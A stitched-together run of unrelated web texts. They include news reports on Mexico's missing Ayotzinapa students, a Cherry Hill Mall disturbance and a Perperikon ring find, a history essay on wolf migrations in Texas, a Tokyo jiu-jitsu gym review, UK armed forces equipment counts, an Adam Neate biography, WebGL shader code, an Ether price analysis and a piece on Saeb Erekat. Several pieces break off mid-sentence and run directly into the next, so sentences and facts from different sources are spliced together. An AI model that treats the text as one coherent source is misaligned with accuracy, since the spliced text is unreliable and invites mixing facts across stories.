Dhimal was issued $25,000 bond and must undergo a psych evaluation. Charges were originally also filed against another man, Bhagirath Koirala, 67, of Columbus, but they have since been dropped.
Read more here.EDITOR’S NOTE: Caprock Chronicles is written or edited by Paul Carlson, emeritus professor of history at Texas Tech University. This week’s essay, written by Ray Cragar of Lubbock and Paul Carlson, looks at a mysterious and unexplained phenomenon with wolves on the Llano Estacado.
In February 1877, a rancher named John Lovelady, riding on horseback below the caprock south of the mouth of Yellow House Canyon, witnessed thousands of wolves loping over the plains and up the Yellow House.
The wolves, he said, were maybe "twenty abreast, and the pack must have been two or three miles in length." He saw them "heading in a northwestern course across the plains."
"On the same day," others wrote, "some parties (perhaps including William S. Glenn, a former bison hunter) saw what was undoubtedly this same pack, crossing Yellow House Canyon, still traveling in a lope and headed northwest."
A historical marker, developed by William C. Griggs and placed near the Lubbock Lake Site, commemorates the Lovelady-Glenn wolf sightings.
Such a migration had happened before 1877 and probably many times. David Lavender in his scholarly book on William Bent’s Fort in present Colorado, for example, relates a tale of migrating wolves. He writes about 17-year-old Bill Boggs,who in 1844 was with a wagon train bound for Santa Fe through Bent’s Fort.
"One night," Lavender writes, near present-day Larned, Kansas, while Boggs stood "guard over … grazing mules, his heart leaped at the sound of a great splashing in the [Arkansas River]." He placed "his ear to the ground" and heard "the strangest rumbling, neither horses nor buffalo."
Boggs soon "discovered a vast drove of migrating wolves." All night he "watched the ghostly packs plunge into the wide Arkansas and paddle across — 40,000 of them, he estimated. The event occurred 430 miles north-northeast of Lubbock and 33 years before the Yellow House incident.
Lt. Robert G. Carter of the Fourth Cavalry also described large numbers of wolves. In "On the Border with Mackenzie," he wrote that at night near a military camp on the Double Mountain Fork of the Brazos, near present-day Aspermont in the early 1870s, wolves in countless numbers, "came out of the ‘bottoms’ of numerous coulees, arroyos, and ravines."
"No such number of wolves," he wrote, "had ever been seen or heard by us in that country."
In fact, "about the third or fourth night (in our camp) their number seemed to increase and double up." On the last night, he noted, the wolves "again congregated by thousands" and, thus, "we spent five days and nights in this wolf-besieged camp."
Clearly, in the past wolves could be found in Texas in huge numbers. Indeed, the state was once home to several subspecies of gray wolf: Mexican gray wolf (in western portions of the state), Texas gray wolf (in Central and South Texas), and the buffalo wolf (on the plains following bison herds).
Unfortunately, according to Jason Manning in "wolfology/tripod.com," the Texas gray wolf became extinct about 1942. Once experts thought the buffalo wolf was extinct, but some subspecies may exist in the Michigan-Wisconsin area. The red |
gym can also be accessed by the Keikyu line and Tokyuu line to get to the gym for those not on the JR line.
If you have ever asked a Japanese person directions you would know they do not use street names to point you in the right direction but instead use key markers to get you there. Therefore, I would recommend you leave the west exit and walk up the right street next to the Don Quixote (Japanese Wal-Mart) and keep walking a short distance until you see a Yoshinoya. The gym is on the opposite side and on the second floor. You will see a sign very clearly and you just walk up the stairs to the gym.
The Facility
The gym itself is equipped with 2 showers, with 2 changing rooms connected to the shower rooms and a bathroom.
The mat space can fit between 20-25 people and has various exercise equipment such as ropes, kettle bells and climbing ropes for grip exercises and circuit training.
Inside tip : Post training there are plenty of little affordable restaurants all around the gym.
The Class
The class itself is hosted by the head instructor Yuji Goto, who has had extensive training in California under both Cleber Luciano (black belt under Royler Gracie) and Eduardo Fraga (head of Ralph Gracie Academy in Berkley).
A welcome fact is that Yuji is also bilingual and can teach in both English and Japanese therefore it’s not unusual to have a good mixture of students on the mats from various countries. This is a welcome factor for anyone a little nervous about language barriers training BJJ in Japan.
Due to the fact that it is usually open mat on a Saturday (500 yen mat fee) the class is structured as a little drilling in the first half of class and a lot rolling which I love. Yuji also joins in and I have had the pleasure to both spar and learn from Mr. Goto during my visits to his gym. Yuji is both friendly and welcoming and I have sat chatting to him regarding BJJ and he has always welcomed me back when I visit.
In addition to the BJJ, Yuji has circuit training after open mat which I have participated in and it terms of fitness he really knows he stuff. Having participated in his 20 minutes circuits I can say that I would love to join in on more of them in the future especially closer to competition time as he puts you through a good set of circuits centered around grappling movements.
Final Thoughts
I cannot say good enough things about the facilities, training and head instructor at Isshin BJJ. I would recommend the gym to anyone visiting or living in Japan who would like to train Jiu Jitsu. The BJJ Tokyo scene is thriving.
About the Head Instructor
Yuji Goto as well as establishing Isshin Jiu Jitsu has an extensive competitive background and has competed extensively in both the US and Japan.
JBJJF All Japan Master Champion (Leve) 2015 (Japan)Black
IBJJF Pan-American Championship 3rd place (Pena) 2015 (USA) Brown
IBJJF World Master 2015 3rd place (Pena) 2015 (USA) Brown
JBJJF All Japan Master 2nd (Pena & Open) 2016 (Japan) Black
In addition to active competition in these organizations Mr. Goto also likes to compete in Submission only formats and once competed in a match lasting 106 minutesThe Government's Strategic Defence and Security Review (SDSR) is meant to give Britain's Armed Forces what they need "to defeat the terrorist threat and keep us safe for generations to come", David Cameron has promised.
As the Prime Minister boasts of spending "more than £178 billion" on military equipment over the next decade, what kit do the troops have to start with? And what do they actually want?
Here's our run-down of what service branch has to play with, what they want, and what they stand to get.
David Cameron has trumpeted the news that the Army will have two new 5,000 strong "strike brigades", but they are being created out of its existing 82,230 personnel, rather than through new troops being committed. Additionally, they have already been set up as part of the Army's reorganisation following the last SDSR. The "rapid response" brigades will be able to be deployed immediately to fight terrorists and others threatening the country.
As for equipment, here is what the troops have.
Battle Tanks
Challenger 2
254
Artillery
287
Multiple Launch Rocket Systems
50
105mm Light Gun
115
AS90 155m Gun
117
FH70 Towed Howitzer
5
Armoured Combat Vehicles
1121
Warrior
344
AFV 432
444
Spartan
267
Stormer
15
Viking
5
Mastiff
39
Warthog
7
Armoured Combat Vehicle Look-alikes
559
Warrior RA
46
Warrior Rec
27
Warrior Rep
62
AFV 434
47
AFV 432 81mm Mortar
12
AFV 432 CP/RA
16
AFV 436
159
Samson
28
Stormer HVM
42
Sultan
117
Wolfhound
3
Armoured Vehicle Launched Bridges
23
Chieftain
2
Titan
21
Royal Navy
The Royal Navy looks like it'll be left underwhelmed by being allocated just 450 extra sailors to man its two new Queen Elizabeth carriers, which are under construction, after asking for up to 4,000. They have been told they will have to make up the extra by transferring sailors around from other ships and making cuts elsewhere.
It also wants a new fleet of Type 26 Frigates, which would cost £4 billion. However, the government may also shell out for 8 ships, rather than the 13 wanted by the Navy. The Navy and Royal Marines currently have 30,060 personnel.
Here is a list of its maritime assets.
Royal Navy Submarines
11
Vanguard Class
4
Trafalgar/Astute Class
7
Photo: BAE Systems
Royal Navy Ships
65
Landing Platform Helicopters/Docks
4
Type 45 Destroyers
6
Type 23 Frigates
13
Mine Countermeasure Vessels
15
Patrol Ships and Craft
22
Survey Ships
4
Ice Patrol Ship
1
Royal Fleet Auxiliary
13
Tankers
5
Fleet Replenishment Ships
1
Solid Support Ships
2
Primary Casualty Receiving Ship
1
Landing Ships
3
Forward Repair Ships
1
Royal Air Force
The 31,830 strong Royal Air Force can expect to do well in the defence review, as David Cameron has promised two additional Typhoon squadrons and an extra squadron of G35 Lightning combat aircraft to operate from the Navy's new aircraft carriers.
The Prime Minister has also promised to invest in a new fleet of surveillance drones, doubling the available amount, and nine Boeing maritime patrol aircraft to replace the Nimrod aircraft scrapped in 2010.
Here are their air assets.
Combat Aircraft
233
Tornado
125
Eurofighter Typhoon
108
Photo: Eddie Mulholland/The Telegraph
Training Aircraft
290
Hawk
103
Viking
81
Vigilant
65
Tucano
41
Air Support
49
Voyager
8
Hercules
24
BAE 146
4
BAE 125
5
C-17
8
Reconaissance, surveillance and drones
62
Shadow R1
6
Sentinel
5
Sentry AEW
6
Reaper
10
Airseeker Rivt Joint
2
Watchkeeper
33
Attack Helicopters
129
Lynx
47
Wildcat
25
Apache
57Classmates of the 43 students who went missing one month ago in Iguala, in Mexico’s Guerrero state, said Friday that the state governor’s announcement that he is stepping down is not enough — they want to see him “behind bars.”
“We do not care that Governor Ángel Aguirre resigned,” Uriel, a classmate of the missing students who declined to provide his last name for fear reprisals from local police, said during a rally in Guerrero's capital, Chilpancingo. “Our actions will not stop there. We want to see him behind bars.”
Before the rally, thousands marched from the missing students' school, Ayotzinapa Normal School, to Chilpancingo for a Catholic mass. During the march, some students took control of tollbooths along the state's main highway, which leads to the resort town of Acapulco. In previous weeks, student have occupied and burned municipal buildings while protesting the students' disappearance and a perceived lack of action by President Enrique Peña Nieto.
The missing students were protesting government education reforms when local police opened fire on demonstrations, killing three students and three bystanders. After the shootings, local police vehicles drove off with some of the missing students, according to witnesses.
“Police opened fire on us, and it lasted about eight minutes. Those who were able to fled the scene and we were allowed into a nearby home,” Carlos Pérez, a 20-year-old Ayotzinapa student who survived the incident, told Al Jazeera. “Some of us tried to go back. We were completely surrounded and could only escape when the police reloaded.”
“I saw a classmate who wanted to flee, but as he left a bullet hit him and he is now in a vegetative state,” he added.
The Guerrero violence has jolted Mexico, where kidnappings and mass graves have become commonplace since former President Felipe Calderón launched an assault on the country’s warring criminal organizations in 2007. Thousands have marched in Guerrero and other Mexican cities since the students disappeared.Suicide Bomber, 2007 Adam Neate., 2007
Adam Neate (born 1977) is a British painter,[1] conceptual artist and described by The Telegraph in 2008 as "one of the world's best-known street artists".[2] He specialised in painting urban art on recycled cardboard,[3] and has left thousands of works in the street for anyone to collect.[4] He is a contributor from the movement in transferring street art into galleries. Neate's street art has garnered global interest, having been documented on CNN reports and European television. Major collectors and celebrities are fighting for his original works and international critics have lauded the artist's work.[1] Since 2011 Neate has been mastering his own language of 'Dimensional Painting'. Elms Lesters publish a range of Adam Neate's Dimensional Editions and Multiples
Early years [ edit ]
Adam Neate was born in Colchester, Essex and grew up in Ipswich, Suffolk. In the mid-1980s, aged nine or ten, he became familiar with graffiti art through a cousin, who was interested in it.[5] Neate watched VHS videos about graffiti, as well as groups such as the Beastie Boys and hip-hop music.[5] Then he borrowed books like Spray Can Art and Subway Art from the library: he was attracted by the colourful quality of the artwork, which he wanted to emulate.[5]
He did not study painting, but graduated in design at Suffolk College,[4] then moved to London and took a job as a graphic designer at Glue London, a digital advertising agency.[6]
Technique [ edit ]
He also took up painting, which he had long wanted to do.[4] Using aerosols and found objects,[6] he painted on cardboard boxes, which he collected from the street, avoiding the use of canvas because of its cost.[5] His work can have two and three-dimensional qualities, as he tears the material, builds it in layers and staples pieces together, mainly making figurative images, which include self-portraits and portraits of friends.[5]
In an essay in December 2012, art historian Ben Jones wrote "In Adam Neate’s most recent work, space itself becomes the medium. The accumulated plasticity of Cubism’s two distinct phases has been re-energised by Neate’s own distinctive mode: Dimensional Materialism. To get the full multi-dimensional effect, the viewer is asked to activate their own viewing space...as you move and change vantage point, negative space is held in balance, unleashed, then restrained again. The image resolves itself. Foreground to background shifting, space dissolving, volume folds in, energy pushes out...Neate’s compositions are mapped by sensations of simultaneity. Multiple moments of past experience are elided with a slowed down and extended present moment."[7]
Street Work [ edit ]
He gave away works to friends, but built up an excess and left them wrapped in bin liners outside charity shops as a donation. When he discovered that they were not being sold, but thrown out with the rubbish, he started to leave them in the streets instead, with works leaning on lampposts, doors and wheelie bins, as an open exhibition,[4] which looked "really surreal".[5] He could produce around 20 paintings a night, and around 1,000 a year.[4] Over a five-year period, he left thousands of his works in London streets.[1]
He had kept away from galleries, but was contacted by Elms Lesters, who wanted to show his work.[5] Neate took up the invitation, but decided to do different work from his street art and develop other techniques and styles.[5] In March 2007, journalist Max Foster picked up on Neate's work and was the first to report on him. In August 2007, at Elms Lesters Painting Rooms in London, he had a solo show, which sold out within hours of opening.[6] He was described as a pioneer of the new movement which shows street art in conventional art galleries.[1]
Following this he was able to give up his job.[6] In December 2007, his painting Suicide Bomber sold for £78,500 at Sotheby's.[8]
One of the 1,000 prints by Adam Neate left in the streets of London on 14 November 2008.
On 14 November 2008, in an event The London Show, he and helpers left 1,000 prints, worth a total of £1 million, around London streets for anyone to pick up and keep.[2][4] When night came, the first teams started in the outer southern boroughs, Bromley, Bexley and Merton, and worked their way to the centre, covering all 32 boroughs and the City of London, and finishing in the early hours.[9] Work was left in doorways and against shop windows.[9]
Some of the work quickly appeared on Ebay with starting prices ranging from 99p to £1,000; Neate had no objection to such sales, and thought it might help some people out for Christmas.[10] He said, "It has always been a dream of mine to do a show around the whole of London, to take over the whole city in one go. I want everybody to be able to see it, but once the pieces are out there I don't mind what happens to them."[11]
The works were screen prints on cardboard of a man, with stamping, each being slightly different, and protected in a cellophane wrapper;[4] Andy Warhol provided the precedent for industrial style production.[4] Neate created the master image in a stencil, and thereafter did not touch the prints, which were made by a professional screen printer.[12] They were rubber-stamped with his signature.[12] Neate wished to overcome boundaries between product, print and painting: "I’m interested in that Warhol idea of the brands as assisted readymade."[12] He said, "The whole concept of the free art thing was challenging the notion of art as a commodity and its worth in society. Now I’m taking that to another level, testing the viability of separating art from commerce." His work is technically expert and has won him acknowledgement from the Tate, National Portrait Gallery and The National Gallery and various sell out shows at The Elms Lester Gallery. He is continually challenging his work, often quoting Picasso “To copy oneself is more dangerous than to copy others. It leads to sterility"[12]
His work has gained recognition from the National Gallery, the Tate, and the National Portrait Gallery.[1] He has expressed an interest in exploring sculpture and photography, as well as in travel to America and Venice.[5]
Adam Neate is represented internationally by http://elmslesters.co.uk/
Influences [ edit ]
Neate cites his influences as his wife, Waleska, New York graffiti artist, Daze, and Picasso.[1]
Notable exhibitions [ edit ]precision mediump float; attribute vec3 position; attribute vec2 tc; uniform mat4 projMat; uniform mat4 modelMat; uniform float secs; uniform int strlen; varying vec3 vPosition; varying vec2 vTextureCoord; void main(void) { gl_Position = projMat * modelMat * vec4( position.x + 150.0 - mod(50.0 * secs, 6.0 * float(strlen) + 300.0) + cos(secs * 3.0), (position.y - 4.5) * (.5 + 2.0 * cos(position.x + secs * 4.0)) + 20.0 * cos(position.x + secs * 2.0), position.z + 40.0 * cos(position.x + secs * 3.0), 1.0); vPosition = position; vTextureCoord = tc; }
precision mediump float; varying vec3 vPosition; varying vec2 vTextureCoord; uniform sampler2D texture; uniform float secs; /* Stolen from Sam Hocevar. See: * https://gamedev.stackexchange.com/a/59808 */ vec3 hsv2rgb(vec3 c) { vec4 K = vec4(1.0, 2.0 / 3.0, 1.0 / 3.0, 3.0); vec3 p = abs(fract(c.xxx + K.xyz) * 6.0 - K.www); return c.z * mix(K.xxx, clamp(p - K.xxx, 0.0, 1.0), c.y); } void main(void) { vec4 t = texture2D(texture, vTextureCoord); gl_FragColor = vec4(hsv2rgb(vec3( vPosition.x *.01 + vPosition.y *.01 + secs *.5, 1.0, 1.0 )), t.a); }Ether surged above $350.00 against the US Dollar and broke 0.080BTC versus Bitcoin. ETH/USD now eyes further gains towards the $375.00 level.
There are two bullish trendlines positioned with support at $355.00 and $345.00 on the hourly chart of ETH/USD.
After completing a short-term correction, Ether climbed to a new monthly high of $366.93 against the US Dollar.
Technically, the hourly chart indicators have reached extreme overbought levels, calling for a correction.
Ether Price Poised for Further Upsides
Yesterday, ETH/USD faced a strong resistance near $345.00-350.00 and corrected lower. It tested the $335.00 support zone, completed a correction, and recently spiked above the $350.00 resistance.
Similarly, the ETH/BTC pair gained bullish momentum and surpassed a major resistance zone near 0.080BTC. The overall market sentiment for Ether was boosted and its price extended gains.
The hourly chart of ETH/USD shows how the pair slowly moved towards $350.00, finally clearing a sell wall to trade for a new monthly high of $366.93.
Ether is now giving up some of its recent gains against the US Dollar and could trade back towards $360.00 or even $355.00. On the downside, there are two bullish trendlines positioned with support at $355.00 and $345.00.
An initial support is near the first trend line at $355.00 and the 38.2 percent Fibonacci retracement level of the last leg from the $335.51 low to $366.93 high. Below $355.00, there is a key support at $350.00.
The $350.00 support holds a lot of value since it is the 50 percent Fibonacci retracement level of the last leg from the $335.51 low to $366.93 high. The most important trend line support sits at $345.00 for the current uptrend.
Moving on to the 4-hour chart of ETH/USD, yesterday’s resistance trend line with a current hurdle at $365.00 is still active. It could result in another short-term correction towards $355.00-350.00 before the price attempts a run towards $375.00.
As of this writing, ETH/USD is up by more than 6% at $364.00, a break above $366.93 (recent high) would open the door to $$370.00 and finally $375.00. On the downside, the immediate support emerges at $355.00 followed by $350.00 (a previous resistance now support).Reviews of the Ann Arbor Michigan Pinball Show The reviews are in from the May Ann Arbor pinball show case (the one weekend a year that the Museum is open to the public), and it was an over whelming success! We had plenty of email comments, like this one: “Last weekend was amazing. You have what I can only refer to as The Literal HEAVEN of Pinball. The collection is jaw dropping, but the greatest asset of your operation is the quality that those games are kept. I have never played pinball games that have felt brand new before. I finished three games last Saturday and it’s not because I’m that good, it’s because I’ve never played on games this crisp. Thank You for that opportunity.” Continue reading → Pinball Repair Classes at the Museum At the Ann Arbor Pinball Museum we sometimes run pinball repair classes, though currently we are on hold for any more classes. The classes were mostly designed for those that help at the museum, but sometimes there’s room for others to attend. The class we’ve been running lately is “Introduction to Solid State Pinball Repair”, and is two hours long. We cap the class at 8 to 10 people max. It’s a hands-on class too. We show how to use a DMM (digital multi meter), how to solder, how to test electronic components, pinball repair do’s and don’ts, and most common pinball repairs. Bring a DMM. You need one if you don’t have one. Flukes are great but heck even Radio Shack and Home Depot sells a decent digital multi-meter (DMM) for a reasonable price. Get auto ranging (easier to use for beginners.) Make sure it has a continuity buzz tone. Make sure it has a diode function. Otherwise all test DC and AC voltages and resistance. There are other bells but those are the big ones. Also remember you get what you pay for, so if you buy a $10 meter at Harbor Freight, don’t expect a lot (actually don’t buy a cheap meter, they really don’t work well.) Usually you need to spend $40 to $60 to get a “decent” meter. Again Fluke is king, but they are expensive. I use Tenma myself available from MCMelectronics.com but I will have a couple DMMs for people to borrow. However you really need your own meter so you can “get used to it”, as every meter operates a little differently. Continue reading → Ann Arbor Pinball Museum location The A2 Pinball Museum is located in Green Oaks Township off US23 at Silver Lake road. (A generalized map is shown below.) This is about 8 miles directly north of Ann Arbor at 8891 Spicer rd, Brighton MI 48116. Populating the museum with pinball games We have progressed pretty well in getting our museum pinball machines from our other locations, and set up at the VFW museum. Below are some pictures of the games, by era. Right now we have games from the 1950s, 1960s, 1970s, 1980s and newer machines set up and ready for a workout!
One side of the 1950s woodrail pinballs Continue reading → What is the Ann Arbor Pinball Show & Museum? The Ann Arbor Pinball Show and Pinball Museum is Clay Harrell’s pinball project, as a way to play and showcase his collection of vintage pinball machines. Purchased an old VFW hall on 10 acres of property in Green Oaks Township (Hamburg VFW), which is about 8 miles north of Ann Arbor (on highway US23 at Silver Lake Road.) The VFW name was recycled to mean “Vintage Flipper World” to keep the building, which is rich in history, familiar to its roots. There are a handful of people that help out with the museum, from maintaining and restoring the machines, to doing building upkeep and maintenance. We have a formal agreement with the township to only be open up to four weekends a year. (As of now, we are just opening one weekend a year.) Yes we know it’s a bit silly to be a museum that’s only open a few days a year, but that’s how it worked out with the township and the insurance company. This is not unlike PAPA (in Pittsburg) and Banning CA, and their pinball facilities (open a weekend a year.) So every May the Ann Arbor pinball museum is open to a set number of people (tickets must be gotten in advance, and are limited in numbers.) Note the Ann Arbor Pinball Museum is the third largest dedicated pinball venue in North America. Continue reading →Derrick Chaulk was driving along the harbor in Norris Arm North on Newfoundland's northeast coast when he spotted what appeared to be a beached whale.
When he got closer, he saw that it was a shark, struggling but still alive... with a hunk of moose sticking out of its mouth.
Another man, Jeremy Ball, was passing by and the two approached the Greenland shark and, short of a shark Heimlich, successfully dislodged the moose-meat by tugging on it.
"A couple yanks and it just came right out," said Chaulk.
The Greenland shark is not generally known for eating moose. As shark ecologist Ian Hamilton told CBC News, “I don’t think a Greenland shark has the capacity to eat a full-grown moose. … primarily because it lives on land, obviously.” The usually docile animal was probably eating a calf that had drowned, he said, describing the shark as an "obtuse" animal that is strange-looking and one of the odder members of the shark family. It spends most of its life lumbering in the ocean’s depth, blinded by parasites that dine on its corneas.
That said, they are scavengers and have been known to feast on other carcasses that have found their way into the water, such as polar bears and reindeer.
Once the moose was dismissed, the men set their sights on getting the shark back into the water. They tied a rope around its tail, one man pulled while the other man pushed. After laying in the water for a few minutes, Chaulk said, the shark began breathing again. After another 30 minutes or so, the shark headed out to sea.
"There was a few people up on the bank watching and once that shark swam out and lifted his tail, and then swam all the way out, everybody just clapped," said Chaulk.
"It was a good feeling to see that shark swim out, knowing that you saved his life."
See more about the Greenland shark in the video below:
Shark chokes on moose, rescued by passersby
The Greenland shark found beached in Newfoundland apparently bit off more than it could chew.Labour Leader Andrew Little today announced a bold new caucus line up which brings forward new talent and draws on the party’s depth of experience.
“Labour has many new and highly capable MPs who have will have the opportunity to prove their ability. At the same time our senior hands will be on deck to take the fight to the National-led Government and support our upcoming stars,” Andrew Little says.
“I am pleased to announce Annette King will be my deputy for the coming year. In recent weeks she has shown how crucial her wisdom and strength is to Labour.
“Grant Robertson will be my Finance spokesperson and number three. He is one of the best performers in Parliament and is more than a match for Bill English.
“Nanaia Mahuta’s lead role in Labour regaining the Māori seats is recognised in her number four position and her reappointment as Māori Development spokesperson.
“Talented up and comers Carmel Sepuloni, Kelvin Davis and David Clark are taking on key roles and will be important members of my front bench.
“These roles will be reviewed in a year to ensure Labour has the strongest possible team to head into the 2017 election.
“This is an exciting new line up and I’m looking forward to getting down to business,” Andrew Little.
Ranked:
Unranked (listed by time served as an MP):A massive gold-plated silver ring with an obsidian gemstone dating from the Late Middle Ages has been discovered by the archaeologists excavating the ancient and medieval rock city of Perperikon (Perperik) near the southern Bulgarian city of Kardzhali in the Eastern Rhodope Mountains.
The team of archaeologist Prof. Nikolay Ovcharov has presented its latest finds from Perperikon with the completion of the 2015 excavations and restoration works in the rock city.
“We discovered the ring back in September but it was in a very bad condition, and covered with a thick layer of patina," Ovcharov explains, as cited by the 24 Chasa daily.
He adds that the medieval ring has been restored by the finest goldsmiths and jewelers from the city of Kardzhali who have marveled at its sophisticated craftsmanship.
They have been especially impressed with the fine polishing of the gemstone made of obsidian, i.e. volcanic glass, reports the Novinar daily.
“This semi-precious stone is very hard to process so we have really come across an incredible jewel," says the archaeologist.
It is believed that the gold-plated silver ring belonged to the wife of an aristocrat from the Second Bulgarian Empire (1185-1396 AD), or, alternatively, to a Byzantine noble as the Perperikon Fortress changed hands between Bulgaria and Byzantium a number of times in the Late Middle Ages.
However, because of its large size it is also possible that the ring was worn by a man.
The discovery of the ring with the obsidian gemstone is said to confirm once again the wealth that the rock city of Perperikon enjoyed in the 14th century.
The archaeologists have already found there hundreds of gold and silver coins, earrings and other decorations as well as crosses which are engolpions (encolpions), i.e. a (religious) item, for example in Eastern Orthodox Christianity, worn upon the bosom.
Ovcharov points out that a 1337 AD document of the Ecumenical Patriarch of Constantinople states that the bishop of Perperikon was so rich that he was ordered to pay a pension to the metropolitan of the large Aegean city of Philippi.
In addition to the ring with the obsidian gemstone, the latest archaeological digs at Perperikon have led to the discovery of several more medieval silver rings and earrings.
Another intriguing find is a bronze figurine shaped like a horse hoof. It dates back to the Antiquity period, namely, the 2nd-3rd century AD, and is hypothesized to have been part of the jewelry box of a noble Ancient Roman woman.
During his presentation of the results of the 2015 excavations of Perperikon, archaeologist Nikolay Ovcharov has declared the completion of the exploration of the acropolis of the ancient and medieval rock city.
“During this season, we have completed the work on the excavations of the acropolis, and its streets, squares, and buildings. It turns out that even after it thrived in the period of Ancient Thrace, Perperikon continued to be a cultural and religious center during the Roman Era," Ovcharov points out.
“We already have revealed the overall structure of a city with an extremely interesting planning, mostly from the Roman period. That’s something that until a few years ago none of the archaeologists envisaged – that there might be a city like this one from the Roman Era," adds the archaeologist.
He reminds that his team has found a total of three temples from the Roman Era in Perperikon.
These are: a temple of Apollo; a temple of the Thracian Horseman, also known as Heros, the supreme deity in the mythology of the Ancient Thracians; as well as a Mithraeum, a temple of Roman mystery cult god Mithra stemming from the Persian and Zoroastrian mythology.
Ovcharov notes that his efforts at Perperikon will continue with the execution of a Norway-funded project for the restoration of some of the ancient and medieval structures in the acropolis of the rock city.
In the upcoming years, he plans to excavate the southern suburb of Perperikon which is also said to be very rich in terms of archaeological structures.
The 2015 summer digs have been the largest archaeological excavations at the rock city of Perperikon in the Eastern Rhodope Mountains in Southern Bulgaria since its exploration started 15 years ago.
The excavations and restoration have been funded with BGN 220,000 (app. EUR 102,000) from the Bulgarian government, which is really lavish considering that a wide range of archaeological sites in Bulgaria have remained underfunded in 2015.
Also check out our stories about the other recent archaeological finds in the ancient and medieval rock city of Perperikon:
Bulgarian Archaeologists Discover Three Roman Pagan Temples, Nymphaeum at Ancient and Medieval Rock City Perperikon
Archaeologist Finds Clay Lamp with Eros, Other Roman Age Artifacts in Ancient and Medieval Rock City Perperikon
Archaeologist Finds 14th Century Monogram, Coins of Bulgarian Tsars at Ancient and Medieval Rock City Perperikon
Archaeologist Discovers Gold Coin of Byzantine Emperor Basil II the Bulgar-Slayer in Bulgaria’s Perperikon
Bulgarian Archaeologists Find Roman Temple, Apollo Statuette in Excavations of Ancient Rock City Perperikon
Background Infonotes:
Perperikon (also called Perperek or Perperik) is an ancient rock city located in the Rhodope Mountains in Southern Bulgaria, 15 km away from the city of Kardzhali.
It is a large-scale archaeological complex including historical monuments from different ages. Those include a megalithic sanctuary dating back to the Neolithic Age, the 6th millennium BC, a Bronze Age settlement, and a holy rock city established by the Ancient Thracians later taken over by the Romans, Goths, and Byzantines, respectively.
In the Middle Ages, especially during the time of the Second Bulgarian Empire (1185-1396 AD), it was the site of a strong fortress and a royal palace that Bulgaria and Byzantium fought over numerous times.
Perperikon has been excavated since 2000 by Bulgarian archaeologist Nikolay Ovcharov who has found evidence that the mythical ancient Temple of Dionysius was located there. The rock city and fortress at Perperikon, not unlike the vast majority of the medieval Bulgarian fortresses, were destroyed by the invading Ottoman Turks in the 14th century.
Like this: Like Loading...EMBED >More News Videos Teens cause disruption at Cherry Hill Mall: Monica Malpass reports on Action News at 11 p.m., December 26, 2017
EMBED >More News Videos Arrests after Cherry Hill Mall disturbance. Alicia Vitarelli reports during Action News at Noon on December 27, 2017.
Police say up to 1,000 juveniles were causing a disruption at the Cherry Hill Mall on Tuesday night leading to some arrests.The incident began around 7:30 p.m. at the JC Penney entrance of the mall located on Route 38.Arriving officers found approximately 700 to 1,000 unaccompanied juveniles at the mall.Shoppers described the chaos:"I was scared just because there were so many and they were unsupervised," said Daija Qualis. "It looked like a hostile situation."Police said it began near the JCPenney wing but shoppers said it spread to the food court."They were shaking on the doors, kicking the doors," said Tyler Johnson. "The kids outnumbered the adults 10 to two. It was bad."An Action News viewer sent cell phone video of crowds milling around near the food court.While dispersing the crowd, police made five arrests.Four of those arrested were from Camden, New Jersey; the other was from Cherry Hill. They were arrested for charges ranging from disorderly conduct to resisting arrest.Witnesses told Action News police used the loud speaker to usher the kids out.Police say no injuries or property damage were reported.Just last week, Cherry Hill police warned parents not to let kids wander on their own at the mall.------Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Feb. 7, 2015, 9:33 PM GMT / Updated Feb. 7, 2015, 9:38 PM GMT
Michael Van Casteren, a sophomore at Lynn University, isn't likely to cut many classes. That's because if he does, his parents will find out — right away. Casteren has agreed to install an app on his phone that will ping his parents by text or email if he isn’t in class when he is scheduled to be.
"Just more motivation to go to class,” Van Casteren said of the Class120 app. "You know that your parents are watching."
Van Casteren is among the students at Lynn, a private university in Boca Raton, Florida, who have consented to try the app developed by Core Principle of Indianapolis.
"I definitely feel like it's a good thing, especially for class attendance," Van Casteren told NBC Nightly News. "Showing up to class is half the part — and then besides that, going from there, participating in class. You can't participate in class if you don't show up."
"The single best thing to improve students' success in college is simple: Go to class."
That’s the idea behind Class120 — to boost class attendance.
Jeff Whorley, founder and CEO at Core Principle, said research has consistently shown that going to class correlates with grades better than anything |
However, his family tree, posted on Facebook, shows his clan descends from Arabia, not Canaan. His family is part of the Huwaitat tribe, now one of the largest in Jordan, who migrated from Medina to the desert and the Levant settling on Aqaba, then coming to Israel many decades ago, but not centuries nor millennia.
Also inaccurate was Erekat’s reference to the Biblical prophet Joshua, who lived some 3,300 years ago. According to the Bible, Joshua famously circled his troops around the city of Jericho, and, after blowing a shofar, a ram’s horn, the walls collapsed, the city was never torched.
As for Jericho, itself, Erekat wasn’t born there. He is from Abu Dis, a town two miles from Jerusalem, but, since 1996, he represents Jericho in the Palestinian Legislative Council.
His exaggerations were all countered Sunday by blogger Elder of Ziyon, who cited an interview conducted by al Rai Media with an Erekat relative, also from Abu Dis, describing their family’s more recent provenance, including when they first came to the village from Jordan to water their flocks outside Jerusalem.
For the past 23 years, Erekat, a political science professor who was also on the editorial board of the Al-Quds newspaper for 12 years, has been a lead negotiator for the PA.
In 1991, he was deputy head of the Palestinian delegation to the Madrid Conference and the subsequent follow-up talks in Washington, between 1992 and 1993. In 1994, the PA appointed him Minister for Local Government and chairman of the Palestinian negotiation delegation. In 1995, Erekat served as Chief Negotiator for the Palestinians during the Oslo period. He was involved as an adviser and English interpreter for PLO leader Yasser Arafat at the Camp David meetings, in 2000, and the negotiations at Taba, in 2001, then participated in the Annapolis Conference, in 2007.
Before the current round of peace talks that began last year at the insistence of U.S. Secretary of State John Kerry, Erekat, who was often called upon as an international spokesman for the PA, was known for a widely viewed CNN interview in 2002 with Wolf Blitzer that also focused on his exaggerations.
According to a transcript from CNN, Blitzer began, “Mr. Erakat, you probably know that you’ve come under some widespread criticism here in the United States for initially charging that the Israelis were engaged in a massacre in Jenin. Perhaps 500 Palestinians murdered in that massacre, you suggested. But now all of the evidence suggests that perhaps 53 or 56 Palestinian civilians and combatants died in that fighting in Jenin.”
“Do you want to use this opportunity to give us your assessment now, based on what you know, how many Palestinians were killed? Blitzer asked him, adding that U.S. Secretary of State “Condoleezza Rice, only a few minutes ago on this program, said she didn’t see any evidence of a so-called massacre.”
